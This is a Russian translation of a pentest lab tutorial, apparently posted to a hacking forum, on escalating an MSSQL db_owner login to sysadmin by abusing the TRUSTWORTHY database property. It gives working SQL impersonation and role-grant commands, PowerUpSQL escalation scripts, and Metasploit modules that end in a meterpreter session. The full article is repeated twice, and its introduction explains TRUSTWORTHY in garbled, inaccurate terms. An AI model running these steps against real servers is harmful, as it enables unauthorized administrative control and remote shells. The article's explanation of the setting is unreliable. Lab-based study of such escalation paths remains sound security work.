MSSQL для пентестера: злоупотребление доверием
В этой статье мы узнаем, как предоставить права системного администратора пользователю, обладающему только основными общедоступными правами. Технически мы применим логику повышения привилегий и предоставим системному администратору привилегию обычного общедоступного пользователя. И будем злоупотреблять заслуживающим доверия свойством, учитывая, что оно включен в базе данных.
Введение в Trustworthy
Свойство надежной базы данных помогает определить, полагается ли сервер SQL на базу данных или нет. При работе с CRL будет много случаев, когда специальные команды или процедуры сочтут жизненно важным иметь определенные привилегии. Такая лицензия необходима для защиты базы данных от вредоносных сценариев. Многие свойства могут использоваться на серверах Windows и SQL-серверах, чтобы определить, является ли база данных надежной. Свойства должны быть установлены соответствующим образом, чтобы позволить SQL-серверу функционировать правильно. Один из способов сделать это - добавить команду trust на обоих серверах.
Недостатком Trustworthy свойства может быть то, что оно может занимать такие ресурсы, как память, что может вызвать проблемы с производительностью в определенных сценариях. По этой причине лучше не слишком полагаться на эти типы свойств при разработке приложений или моделей данных. Однако они полезны при использовании других методов, таких как подписка на события или системы на основе агентов, в тестовой среде, где потребление ресурсов не имеет большого значения и производительность тоже не важна.
Лабораторная среда
Чтобы выполнить практику и добиться успеха, мы сначала настроим нашу лабу сервера MSSQL, и для этого давайте создадим новую базу данных, щелкнув правой кнопкой мыши базу данных и выбрав параметр Новая база данных, как показано на изображении ниже:
В открывшемся диалоговом окне укажите имя для своей базы данных, а затем нажмите кнопку ОК, как показано на изображении ниже:
Теперь, когда база данных создана, мы создадим пользователя. Чтобы создать пользователя, щелкните правой кнопкой мыши Logins и выберите опцию New Login, как показано на изображении ниже:
Откроется новое диалоговое окно, в котором укажите имя и пароль для вашего пользователя, а затем нажмите кнопку ОК, как показано на изображении ниже:
Теперь в ролях сервера вы можете проверить, что пользователь является только частью групы паблик. После просмотра нажмите кнопку ОК, как показано на изображении ниже:
Теперь перейдите в User Mapping и выберите ignite Database для своего пользователя. На панели членства в роли выберите параметр db_owner, затем нажмите кнопку ОК, как показано на изображении ниже:
Теперь мы проверим, включено ли свойство trustworthy для нашей базы данных. И для этого воспользуемся следующим запросом:
select name,is_trustworthy_on from sys.databases
Как видите, в созданной нами базе данных не активировано это свойство. Итак, теперь, чтобы активировать это свойство, используйте следующий запрос:
ALTER DATABASE [ignite] SET TRUSTWORTHY ON
Чтобы подтвердить статус trustworthy базы данных, мы снова воспользуемся следующим запросом:
select name,is_trustworthy_on from sys.databases
Как вы можете видеть на изображении выше, значение trustworthy равно 1, что означает, что оно активирован. На этом настройка нашей лаборатории завершена.
Злоупотребление доверием
Руководство по эксплуатации
Теперь, когда мы успешно настроили нашу лабораторию, мы войдем в систему от пользователя raj, которого мы создали ранее. Через этого пользователя мы проверим, активировано ли для него свойство ignite или нет. И для этого воспользуемся следующим запросом:
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
Результат вышеуказанного запроса показывает, что trustworthy включена. Теперь мы перейдем в нашу базу данных и откроем вкладку запроса, щелкнув правой кнопкой мыши базу данных и выбрав опцию New Query, как показано на изображении ниже:
Откроется вкладка нашего запроса. Здесь мы будем использовать следующий запрос, чтобы проверить, какие пользователи являются db_owners:
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R' ORDER BY DP1.name;
В результате вышеуказанного запроса вы можете увидеть, что raj и dbo являются владельцами базы данных. Итак, теперь мы будем имитировать пользователя dbo через пользователя raj. Как только пользователь raj успешно замаскирует dbo, он может получить дополнительные привилегии для себя. А для этого используйте следующий запрос:
EXECUTE AS USER = 'dbo';
SELECT system_user;
Вышеупомянутый запрос был успешно выполнен. Теперь мы получим больше привилегий для пользователя raj, сделав его системным администратором с помощью следующего запроса:
EXEC sp_addsrvrolemember 'raj','sysadmin';
Чтобы убедиться, что наши запросы работают или нет, мы можем перейти в Login Properties для пользователя raj и просмотреть правила сервера. И там вы можете видеть, что отмечена опция sysadmin. Таким образом, мы успешно злоупотребили свойством trustworthy , используя этот потенциал. То же самое показано на изображении ниже:
PowerUpSQL
Мы также можем злоупотреблять удаленно, используя PowerUpSQL. Сначала мы импортируем модуль PowerUpSQL в PowerShell, а затем проверим, активировано ли свойство. Для этого используйте следующие команды:
Import-Module .\PowerUpSQL.ps1
Invoke-SQLAuditPrivTrustworthy -Username raj -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
В результате выполнения вышеперечисленных команд вы можете увидеть, что trustworthy включено. Итак, теперь мы будем использовать следующие команды, чтобы получить привилегии системного администратора для нашего пользователя:
github.com
Import-Module .\Invoke-SqlServer-Escalate-Dbowner.psm1
Invoke-SqlServer-Escalate-DbOwner -SqlUser raj -SqlPass Password@1 -SqlServerInstance WIN-P83OS778EQK\SQLEXPRESS
И вуаля! У нас есть привилегии системного администратора для наших пользователей.
Metasploit
Как мы все знаем, любая удаленная атака неполна без Metasploit; поэтому теперь мы будем использовать Metasploit для выполнения наших делишек. Metasploit, удивительный фреймворк, предоставляет нам встроенный эксплойт, который помогает нам реализовать свое желание. Используйте эксплойт с помощью следующего набора команд:
use auxiliary/admin/mssql_escalate_dbowner
set rhosts 192.168.1.146
set username raj
set password Password@1
exploit
Как видите, вышеупомянутый эксплойт сделает всю работу по получению привилегий системного администратора для вашего пользователя. Теперь, когда у пользователя есть привилегии системного администратора, мы можем дополнительно использовать следующий эксплойт для получения сеанса meterpreter:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set username raj
set password Password@1
exploit
И, как вы можете видеть на изображении ниже, вышеприведенный эксплойт предоставит нам сеанс meterpreter.
Это как локальные, так и удаленные способы злоупотребления и эксплуатации свойства trustworthy и получения привилегий.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-abusing-trustworthy/
В этой статье мы узнаем, как предоставить права системного администратора пользователю, обладающему только основными общедоступными правами. Технически мы применим логику повышения привилегий и предоставим системному администратору привилегию обычного общедоступного пользователя. И будем злоупотреблять заслуживающим доверия свойством, учитывая, что оно включен в базе данных.
Введение в Trustworthy
Свойство надежной базы данных помогает определить, полагается ли сервер SQL на базу данных или нет. При работе с CRL будет много случаев, когда специальные команды или процедуры сочтут жизненно важным иметь определенные привилегии. Такая лицензия необходима для защиты базы данных от вредоносных сценариев. Многие свойства могут использоваться на серверах Windows и SQL-серверах, чтобы определить, является ли база данных надежной. Свойства должны быть установлены соответствующим образом, чтобы позволить SQL-серверу функционировать правильно. Один из способов сделать это - добавить команду trust на обоих серверах.
Недостатком Trustworthy свойства может быть то, что оно может занимать такие ресурсы, как память, что может вызвать проблемы с производительностью в определенных сценариях. По этой причине лучше не слишком полагаться на эти типы свойств при разработке приложений или моделей данных. Однако они полезны при использовании других методов, таких как подписка на события или системы на основе агентов, в тестовой среде, где потребление ресурсов не имеет большого значения и производительность тоже не важна.
Лабораторная среда
Чтобы выполнить практику и добиться успеха, мы сначала настроим нашу лабу сервера MSSQL, и для этого давайте создадим новую базу данных, щелкнув правой кнопкой мыши базу данных и выбрав параметр Новая база данных, как показано на изображении ниже:
В открывшемся диалоговом окне укажите имя для своей базы данных, а затем нажмите кнопку ОК, как показано на изображении ниже:
Теперь, когда база данных создана, мы создадим пользователя. Чтобы создать пользователя, щелкните правой кнопкой мыши Logins и выберите опцию New Login, как показано на изображении ниже:
Откроется новое диалоговое окно, в котором укажите имя и пароль для вашего пользователя, а затем нажмите кнопку ОК, как показано на изображении ниже:
Теперь в ролях сервера вы можете проверить, что пользователь является только частью групы паблик. После просмотра нажмите кнопку ОК, как показано на изображении ниже:
Теперь перейдите в User Mapping и выберите ignite Database для своего пользователя. На панели членства в роли выберите параметр db_owner, затем нажмите кнопку ОК, как показано на изображении ниже:
Теперь мы проверим, включено ли свойство trustworthy для нашей базы данных. И для этого воспользуемся следующим запросом:
select name,is_trustworthy_on from sys.databases
Как видите, в созданной нами базе данных не активировано это свойство. Итак, теперь, чтобы активировать это свойство, используйте следующий запрос:
ALTER DATABASE [ignite] SET TRUSTWORTHY ON
Чтобы подтвердить статус trustworthy базы данных, мы снова воспользуемся следующим запросом:
select name,is_trustworthy_on from sys.databases
Как вы можете видеть на изображении выше, значение trustworthy равно 1, что означает, что оно активирован. На этом настройка нашей лаборатории завершена.
Злоупотребление доверием
Руководство по эксплуатации
Теперь, когда мы успешно настроили нашу лабораторию, мы войдем в систему от пользователя raj, которого мы создали ранее. Через этого пользователя мы проверим, активировано ли для него свойство ignite или нет. И для этого воспользуемся следующим запросом:
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
Результат вышеуказанного запроса показывает, что trustworthy включена. Теперь мы перейдем в нашу базу данных и откроем вкладку запроса, щелкнув правой кнопкой мыши базу данных и выбрав опцию New Query, как показано на изображении ниже:
Откроется вкладка нашего запроса. Здесь мы будем использовать следующий запрос, чтобы проверить, какие пользователи являются db_owners:
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R' ORDER BY DP1.name;
В результате вышеуказанного запроса вы можете увидеть, что raj и dbo являются владельцами базы данных. Итак, теперь мы будем имитировать пользователя dbo через пользователя raj. Как только пользователь raj успешно замаскирует dbo, он может получить дополнительные привилегии для себя. А для этого используйте следующий запрос:
EXECUTE AS USER = 'dbo';
SELECT system_user;
Вышеупомянутый запрос был успешно выполнен. Теперь мы получим больше привилегий для пользователя raj, сделав его системным администратором с помощью следующего запроса:
EXEC sp_addsrvrolemember 'raj','sysadmin';
Чтобы убедиться, что наши запросы работают или нет, мы можем перейти в Login Properties для пользователя raj и просмотреть правила сервера. И там вы можете видеть, что отмечена опция sysadmin. Таким образом, мы успешно злоупотребили свойством trustworthy , используя этот потенциал. То же самое показано на изображении ниже:
PowerUpSQL
Мы также можем злоупотреблять удаленно, используя PowerUpSQL. Сначала мы импортируем модуль PowerUpSQL в PowerShell, а затем проверим, активировано ли свойство. Для этого используйте следующие команды:
Import-Module .\PowerUpSQL.ps1
Invoke-SQLAuditPrivTrustworthy -Username raj -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
В результате выполнения вышеперечисленных команд вы можете увидеть, что trustworthy включено. Итак, теперь мы будем использовать следующие команды, чтобы получить привилегии системного администратора для нашего пользователя:
Powershellery/Invoke-SqlServer-Escalate-Dbowner.psm1 at master · nullbind/Powershellery
This repo contains Powershell scripts used for general hackery. - Powershellery/Invoke-SqlServer-Escalate-Dbowner.psm1 at master · nullbind/Powershellery
Import-Module .\Invoke-SqlServer-Escalate-Dbowner.psm1
Invoke-SqlServer-Escalate-DbOwner -SqlUser raj -SqlPass Password@1 -SqlServerInstance WIN-P83OS778EQK\SQLEXPRESS
И вуаля! У нас есть привилегии системного администратора для наших пользователей.
Metasploit
Как мы все знаем, любая удаленная атака неполна без Metasploit; поэтому теперь мы будем использовать Metasploit для выполнения наших делишек. Metasploit, удивительный фреймворк, предоставляет нам встроенный эксплойт, который помогает нам реализовать свое желание. Используйте эксплойт с помощью следующего набора команд:
use auxiliary/admin/mssql_escalate_dbowner
set rhosts 192.168.1.146
set username raj
set password Password@1
exploit
Как видите, вышеупомянутый эксплойт сделает всю работу по получению привилегий системного администратора для вашего пользователя. Теперь, когда у пользователя есть привилегии системного администратора, мы можем дополнительно использовать следующий эксплойт для получения сеанса meterpreter:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set username raj
set password Password@1
exploit
И, как вы можете видеть на изображении ниже, вышеприведенный эксплойт предоставит нам сеанс meterpreter.
Это как локальные, так и удаленные способы злоупотребления и эксплуатации свойства trustworthy и получения привилегий.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-abusing-trustworthy/